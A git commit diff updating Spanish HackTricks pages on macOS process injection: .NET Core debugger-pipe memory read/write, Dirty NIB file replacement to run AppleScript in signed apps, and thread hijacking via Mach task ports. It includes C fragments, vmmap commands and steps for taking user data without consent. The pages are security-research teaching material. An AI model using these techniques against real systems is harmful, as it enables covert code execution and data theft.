Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 04:39:11 +00:00
parent 81b3620543
commit 80e83b5639
82 changed files with 2800 additions and 2543 deletions

View file

@ -1,30 +1,31 @@
# Inyección de Aplicaciones .Net en macOS
# macOS .Net Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Este es un resumen del post [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). ¡Consultalo para más detalles!**
**Este es un resumen de la publicación [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/). ¡Consúltalo para más detalles!**
## Depuración de .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
## .NET Core Debugging <a href="#net-core-debugging" id="net-core-debugging"></a>
### **Estableciendo una Sesión de Depuración** <a href="#net-core-debugging" id="net-core-debugging"></a>
El manejo de la comunicación entre el depurador y el depurado en .NET es gestionado por [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Este componente establece dos named pipes por proceso .NET como se ve en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), que son iniciados a través de [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Estos pipes tienen los sufijos **`-in`** y **`-out`**.
El manejo de la comunicación entre el depurador y el depurado en .NET es gestionado por [**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp). Este componente establece dos tuberías nombradas por proceso .NET como se ve en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127), que son iniciadas a través de [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27). Estas tuberías tienen el sufijo **`-in`** y **`-out`**.
Al visitar el directorio **`$TMPDIR`** del usuario, se pueden encontrar FIFOs de depuración disponibles para depurar aplicaciones .Net.
Al visitar el **`$TMPDIR`** del usuario, se pueden encontrar FIFOs de depuración disponibles para depurar aplicaciones .Net.
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) es responsable de gestionar la comunicación desde un depurador. Para iniciar una nueva sesión de depuración, un depurador debe enviar un mensaje a través del pipe `out` comenzando con una estructura `MessageHeader`, detallada en el código fuente de .NET:
[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) es responsable de gestionar la comunicación desde un depurador. Para iniciar una nueva sesión de depuración, un depurador debe enviar un mensaje a través de la tubería `out` comenzando con una estructura `MessageHeader`, detallada en el código fuente de .NET:
```c
struct MessageHeader {
MessageType m_eType; // Message type
@ -54,18 +55,18 @@ sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
Este encabezado se envía al objetivo utilizando la llamada al sistema `write`, seguido por la estructura `sessionRequestData` que contiene un GUID para la sesión:
Este encabezado se envía al objetivo utilizando la llamada al sistema `write`, seguido de la estructura `sessionRequestData` que contiene un GUID para la sesión:
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
Una operación de lectura en la tubería `out` confirma el éxito o fracaso del establecimiento de la sesión de depuración:
Una operación de lectura en el pipe `out` confirma el éxito o fracaso del establecimiento de la sesión de depuración:
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
## Leyendo la memoria
Una vez que se establece una sesión de depuración, la memoria se puede leer utilizando el tipo de mensaje [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). La función readMemory está detallada, realizando los pasos necesarios para enviar una solicitud de lectura y recuperar la respuesta:
## Lectura de Memoria
Una vez que se establece una sesión de depuración, se puede leer la memoria utilizando el [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) tipo de mensaje. La función readMemory se detalla, realizando los pasos necesarios para enviar una solicitud de lectura y recuperar la respuesta:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
// Allocation and initialization
@ -77,11 +78,11 @@ bool readMemory(void *addr, int len, unsigned char **output) {
return true;
}
```
El concepto de prueba completo (POC) está disponible [aquí](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
La prueba de concepto completa (POC) está disponible [aquí](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
## Escribiendo en la memoria
## Escritura de Memoria
De manera similar, la memoria puede ser escrita utilizando la función `writeMemory`. El proceso implica establecer el tipo de mensaje en `MT_WriteMemory`, especificar la dirección y longitud de los datos, y luego enviar los datos:
De manera similar, se puede escribir en la memoria utilizando la función `writeMemory`. El proceso implica establecer el tipo de mensaje en `MT_WriteMemory`, especificar la dirección y la longitud de los datos, y luego enviar los datos:
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
// Increment IDs, set message type, and specify memory location
@ -95,35 +96,36 @@ return true;
```
El POC asociado está disponible [aquí](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
## Ejecución de código en .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
## Ejecución de Código .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
Para ejecutar código, es necesario identificar una región de memoria con permisos rwx, lo cual se puede hacer utilizando vmmap -pages:
Para ejecutar código, es necesario identificar una región de memoria con permisos rwx, lo que se puede hacer utilizando vmmap -pages:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Encontrar un lugar para sobrescribir un puntero de función es necesario, y en .NET Core, esto se puede hacer apuntando a la **Tabla de Funciones Dinámicas (DFT)**. Esta tabla, detallada en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), es utilizada por el tiempo de ejecución para funciones auxiliares de compilación JIT.
Localizar un lugar para sobrescribir un puntero de función es necesario, y en .NET Core, esto se puede hacer apuntando a la **Dynamic Function Table (DFT)**. Esta tabla, detallada en [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h), es utilizada por el runtime para funciones auxiliares de compilación JIT.
Para sistemas x64, la caza de firmas se puede utilizar para encontrar una referencia al símbolo `_hlpDynamicFuncTable` en `libcorclr.dll`.
Para sistemas x64, se puede utilizar la búsqueda de firmas para encontrar una referencia al símbolo `_hlpDynamicFuncTable` en `libcorclr.dll`.
La función de depuración `MT_GetDCB` proporciona información útil, incluida la dirección de una función auxiliar, `m_helperRemoteStartAddr`, que indica la ubicación de `libcorclr.dll` en la memoria del proceso. Esta dirección se utiliza luego para iniciar la búsqueda de la DFT y sobrescribir un puntero de función con la dirección del shellcode.
La función de depuración `MT_GetDCB` proporciona información útil, incluyendo la dirección de una función auxiliar, `m_helperRemoteStartAddr`, que indica la ubicación de `libcorclr.dll` en la memoria del proceso. Esta dirección se utiliza luego para iniciar una búsqueda de la DFT y sobrescribir un puntero de función con la dirección del shellcode.
El código POC completo para la inyección en PowerShell es accesible [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
El código completo de POC para inyección en PowerShell es accesible [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
## Referencias
* [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# macOS Dirty NIB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de HackTricks en AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Para más detalles sobre la técnica, consulta la publicación original en: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Aquí tienes un resumen:
**Para más detalles sobre la técnica, consulta la publicación original en: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Aquí hay un resumen:
Los archivos NIB, parte del ecosistema de desarrollo de Apple, están destinados a definir **elementos de interfaz de usuario** y sus interacciones en aplicaciones. Incluyen objetos serializados como ventanas y botones, y se cargan en tiempo de ejecución. A pesar de su uso continuo, Apple ahora aboga por los Storyboards para una visualización más completa del flujo de la interfaz de usuario.
Los archivos NIB, parte del ecosistema de desarrollo de Apple, están destinados a definir **elementos de UI** y sus interacciones en aplicaciones. Incluyen objetos serializados como ventanas y botones, y se cargan en tiempo de ejecución. A pesar de su uso continuo, Apple ahora aboga por Storyboards para una visualización más completa del flujo de UI.
### Preocupaciones de seguridad con los archivos NIB
Es crítico tener en cuenta que los **archivos NIB pueden ser un riesgo de seguridad**. Tienen el potencial de **ejecutar comandos arbitrarios**, y las alteraciones a los archivos NIB dentro de una aplicación no impiden que Gatekeeper ejecute la aplicación, lo que representa una amenaza significativa.
### Preocupaciones de Seguridad con Archivos NIB
Es crítico notar que **los archivos NIB pueden ser un riesgo de seguridad**. Tienen el potencial de **ejecutar comandos arbitrarios**, y las alteraciones a los archivos NIB dentro de una aplicación no impiden que Gatekeeper ejecute la aplicación, lo que representa una amenaza significativa.
### Proceso de Inyección de Dirty NIB
#### Creación y Configuración de un Archivo NIB
1. **Configuración inicial**:
1. **Configuración Inicial**:
- Crea un nuevo archivo NIB usando XCode.
- Agrega un objeto a la interfaz, configurando su clase como `NSAppleScript`.
- Configura la propiedad inicial `source` a través de Atributos de Tiempo de Ejecución Definidos por el Usuario.
- Agrega un objeto a la interfaz, configurando su clase a `NSAppleScript`.
- Configura la propiedad `source` inicial a través de Atributos de Tiempo de Ejecución Definidos por el Usuario.
2. **Gadget de Ejecución de Código**:
- La configuración facilita la ejecución de AppleScript a pedido.
- Integra un botón para activar el objeto `Apple Script`, activando específicamente el selector `executeAndReturnError:`.
- La configuración facilita la ejecución de AppleScript bajo demanda.
- Integra un botón para activar el objeto `Apple Script`, específicamente disparando el selector `executeAndReturnError:`.
3. **Pruebas**:
- Un simple Apple Script para propósitos de prueba:
@ -38,34 +39,50 @@ Es crítico tener en cuenta que los **archivos NIB pueden ser un riesgo de segur
set theDialogText to "PWND"
display dialog theDialogText
```
- Prueba ejecutándolo en el depurador de XCode y haciendo clic en el botón.
- Prueba ejecutando en el depurador de XCode y haciendo clic en el botón.
#### Apuntando a una Aplicación (Ejemplo: Pages)
1. **Preparación**:
- Copia la aplicación objetivo (por ejemplo, Pages) en un directorio separado (por ejemplo, `/tmp/`).
- Inicia la aplicación para evitar problemas con Gatekeeper y cachéala.
- Inicia la aplicación para evitar problemas con Gatekeeper y almacenarla en caché.
2. **Sobrescribiendo el Archivo NIB**:
- Reemplaza un archivo NIB existente (por ejemplo, Panel Acerca de NIB) con el archivo DirtyNIB creado.
- Reemplaza un archivo NIB existente (por ejemplo, el NIB del Panel Acerca de) con el archivo DirtyNIB creado.
3. **Ejecución**:
- Desencadena la ejecución interactuando con la aplicación (por ejemplo, seleccionando el elemento de menú `Acerca de`).
- Dispara la ejecución interactuando con la aplicación (por ejemplo, seleccionando el elemento del menú `Acerca de`).
#### Prueba de Concepto: Accediendo a Datos de Usuario
- Modifica el AppleScript para acceder y extraer datos de usuario, como fotos, sin el consentimiento del usuario.
#### Prueba de Concepto: Acceso a Datos del Usuario
- Modifica el AppleScript para acceder y extraer datos del usuario, como fotos, sin el consentimiento del usuario.
### Ejemplo de Código: Archivo .xib Malicioso
- Accede y revisa un [**ejemplo de un archivo .xib malicioso**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4) que demuestra la ejecución de código arbitrario.
### Abordando Restricciones de Inicio
- Las Restricciones de Inicio impiden la ejecución de aplicaciones desde ubicaciones inesperadas (por ejemplo, `/tmp`).
- Es posible identificar aplicaciones no protegidas por Restricciones de Inicio y apuntarlas para la inyección de archivos NIB.
### Abordando las Restricciones de Lanzamiento
- Las restricciones de lanzamiento dificultan la ejecución de aplicaciones desde ubicaciones inesperadas (por ejemplo, `/tmp`).
- Es posible identificar aplicaciones que no están protegidas por restricciones de lanzamiento y apuntar a ellas para la inyección de archivos NIB.
### Protecciones Adicionales de macOS
Desde macOS Sonoma en adelante, las modificaciones dentro de los paquetes de aplicaciones están restringidas. Sin embargo, los métodos anteriores involucraban:
1. Copiar la aplicación a una ubicación diferente (por ejemplo, `/tmp`).
2. Renombrar directorios dentro del paquete de la aplicación para evitar las protecciones iniciales.
Desde macOS Sonoma, las modificaciones dentro de los paquetes de aplicaciones están restringidas. Sin embargo, los métodos anteriores involucraban:
1. Copiar la aplicación a una ubicación diferente (por ejemplo, `/tmp/`).
2. Renombrar directorios dentro del paquete de la aplicación para eludir las protecciones iniciales.
3. Después de ejecutar la aplicación para registrarse con Gatekeeper, modificar el paquete de la aplicación (por ejemplo, reemplazando MainMenu.nib con Dirty.nib).
4. Renombrar los directorios nuevamente y volver a ejecutar la aplicación para ejecutar el archivo NIB inyectado.
4. Renombrar los directorios de nuevo y volver a ejecutar la aplicación para ejecutar el archivo NIB inyectado.
**Nota**: Las actualizaciones recientes de macOS han mitigado este exploit al evitar modificaciones de archivos dentro de los paquetes de aplicaciones después de la caché de Gatekeeper, volviendo el exploit ineficaz.
**Nota**: Las actualizaciones recientes de macOS han mitigado este exploit al prevenir modificaciones de archivos dentro de los paquetes de aplicaciones después de la caché de Gatekeeper, lo que hace que el exploit sea ineficaz.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Inyección de hilos en macOS a través del puerto de tarea
# Inyección de Hilo en macOS a través del puerto de tarea
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}
## Código
@ -20,49 +21,49 @@ Otras formas de apoyar a HackTricks:
* [https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36](https://gist.github.com/knightsc/bd6dfeccb02b77eb6409db5601dcef36)
## 1. Secuestro de hilos
## 1. Secuestro de Hilos
Inicialmente, se invoca la función **`task_threads()`** en el puerto de tarea para obtener una lista de hilos de la tarea remota. Se selecciona un hilo para el secuestro. Este enfoque difiere de los métodos convencionales de inyección de código, ya que la creación de un nuevo hilo remoto está prohibida debido a la nueva mitigación que bloquea `thread_create_running()`.
Inicialmente, se invoca la función **`task_threads()`** en el puerto de tarea para obtener una lista de hilos de la tarea remota. Se selecciona un hilo para el secuestro. Este enfoque se desvía de los métodos convencionales de inyección de código, ya que crear un nuevo hilo remoto está prohibido debido a la nueva mitigación que bloquea `thread_create_running()`.
Para controlar el hilo, se llama a **`thread_suspend()`**, deteniendo su ejecución.
Las únicas operaciones permitidas en el hilo remoto implican **detenerlo** y **iniciarlo**, **recuperar** y **modificar** sus valores de registro. Las llamadas a funciones remotas se inician configurando los registros `x0` a `x7` con los **argumentos**, configurando **`pc`** para apuntar a la función deseada y activando el hilo. Asegurar que el hilo no se bloquee después del retorno requiere la detección del retorno.
Las únicas operaciones permitidas en el hilo remoto implican **detener** y **comenzar** su ejecución, **recuperar** y **modificar** sus valores de registro. Las llamadas a funciones remotas se inician configurando los registros `x0` a `x7` con los **argumentos**, configurando **`pc`** para apuntar a la función deseada y activando el hilo. Asegurarse de que el hilo no se bloquee después de la devolución requiere detectar la devolución.
Una estrategia implica **registrar un manejador de excepciones** para el hilo remoto usando `thread_set_exception_ports()`, estableciendo el registro `lr` en una dirección no válida antes de la llamada a la función. Esto desencadena una excepción después de la ejecución de la función, enviando un mensaje al puerto de excepción, lo que permite la inspección del estado del hilo para recuperar el valor de retorno. Alternativamente, como se adoptó del exploit triple\_fetch de Ian Beer, `lr` se establece en un bucle infinito. Luego, los registros del hilo se monitorean continuamente hasta que **`pc` apunte a esa instrucción**.
Una estrategia implica **registrar un manejador de excepciones** para el hilo remoto utilizando `thread_set_exception_ports()`, configurando el registro `lr` a una dirección inválida antes de la llamada a la función. Esto desencadena una excepción después de la ejecución de la función, enviando un mensaje al puerto de excepciones, permitiendo la inspección del estado del hilo para recuperar el valor de retorno. Alternativamente, como se adoptó del exploit triple\_fetch de Ian Beer, `lr` se establece para que se ejecute en un bucle infinito. Los registros del hilo se monitorean continuamente hasta que **`pc` apunta a esa instrucción**.
## 2. Puertos Mach para comunicación
La fase siguiente implica establecer puertos Mach para facilitar la comunicación con el hilo remoto. Estos puertos son fundamentales para transferir derechos de envío y recepción arbitrarios entre tareas.
Para la comunicación bidireccional, se crean dos derechos de recepción Mach: uno en la tarea local y otro en la tarea remota. Posteriormente, se transfiere un derecho de envío para cada puerto a la tarea contraparte, permitiendo el intercambio de mensajes.
Para la comunicación bidireccional, se crean dos derechos de recepción Mach: uno en la tarea local y el otro en la tarea remota. Posteriormente, se transfiere un derecho de envío para cada puerto a la tarea contraparte, permitiendo el intercambio de mensajes.
Centrándose en el puerto local, el derecho de recepción lo tiene la tarea local. El puerto se crea con `mach_port_allocate()`. El desafío radica en transferir un derecho de envío a este puerto a la tarea remota.
Enfocándose en el puerto local, el derecho de recepción es mantenido por la tarea local. El puerto se crea con `mach_port_allocate()`. El desafío radica en transferir un derecho de envío a este puerto en la tarea remota.
Una estrategia implica aprovechar `thread_set_special_port()` para colocar un derecho de envío al puerto local en el `THREAD_KERNEL_PORT` del hilo remoto. Luego, se instruye al hilo remoto a llamar a `mach_thread_self()` para recuperar el derecho de envío.
Una estrategia implica aprovechar `thread_set_special_port()` para colocar un derecho de envío al puerto local en el `THREAD_KERNEL_PORT` del hilo remoto. Luego, se instruye al hilo remoto para que llame a `mach_thread_self()` para recuperar el derecho de envío.
Para el puerto remoto, el proceso es esencialmente al revés. Se dirige al hilo remoto a generar un puerto Mach a través de `mach_reply_port()` (ya que `mach_port_allocate()` no es adecuado debido a su mecanismo de retorno). Tras la creación del puerto, se invoca `mach_port_insert_right()` en el hilo remoto para establecer un derecho de envío. Este derecho se guarda en el kernel usando `thread_set_special_port()`. De vuelta en la tarea local, se utiliza `thread_get_special_port()` en el hilo remoto para adquirir un derecho de envío al puerto Mach recién asignado en la tarea remota.
Para el puerto remoto, el proceso se invierte esencialmente. Se dirige al hilo remoto para generar un puerto Mach a través de `mach_reply_port()` (ya que `mach_port_allocate()` no es adecuado debido a su mecanismo de retorno). Tras la creación del puerto, se invoca `mach_port_insert_right()` en el hilo remoto para establecer un derecho de envío. Este derecho se almacena en el kernel utilizando `thread_set_special_port()`. De vuelta en la tarea local, se utiliza `thread_get_special_port()` en el hilo remoto para adquirir un derecho de envío al nuevo puerto Mach asignado en la tarea remota.
La finalización de estos pasos resulta en el establecimiento de puertos Mach, sentando las bases para la comunicación bidireccional.
## 3. Primitivas básicas de lectura/escritura de memoria
## 3. Primitivas Básicas de Lectura/Escritura de Memoria
En esta sección, el enfoque se centra en utilizar la primitiva de ejecución para establecer primitivas básicas de lectura y escritura de memoria. Estos pasos iniciales son cruciales para obtener más control sobre el proceso remoto, aunque las primitivas en esta etapa no servirán para muchos propósitos. Pronto, se actualizarán a versiones más avanzadas.
En esta sección, el enfoque está en utilizar la primitiva de ejecución para establecer primitivas básicas de lectura y escritura de memoria. Estos pasos iniciales son cruciales para obtener más control sobre el proceso remoto, aunque las primitivas en esta etapa no servirán para muchos propósitos. Pronto, se actualizarán a versiones más avanzadas.
### Lectura y escritura de memoria utilizando la primitiva de ejecución
### Lectura y Escritura de Memoria Usando la Primitiva de Ejecución
El objetivo es realizar la lectura y escritura de memoria utilizando funciones específicas. Para leer memoria, se utilizan funciones con una estructura similar a la siguiente:
El objetivo es realizar lecturas y escrituras de memoria utilizando funciones específicas. Para leer memoria, se utilizan funciones que se asemejan a la siguiente estructura:
```c
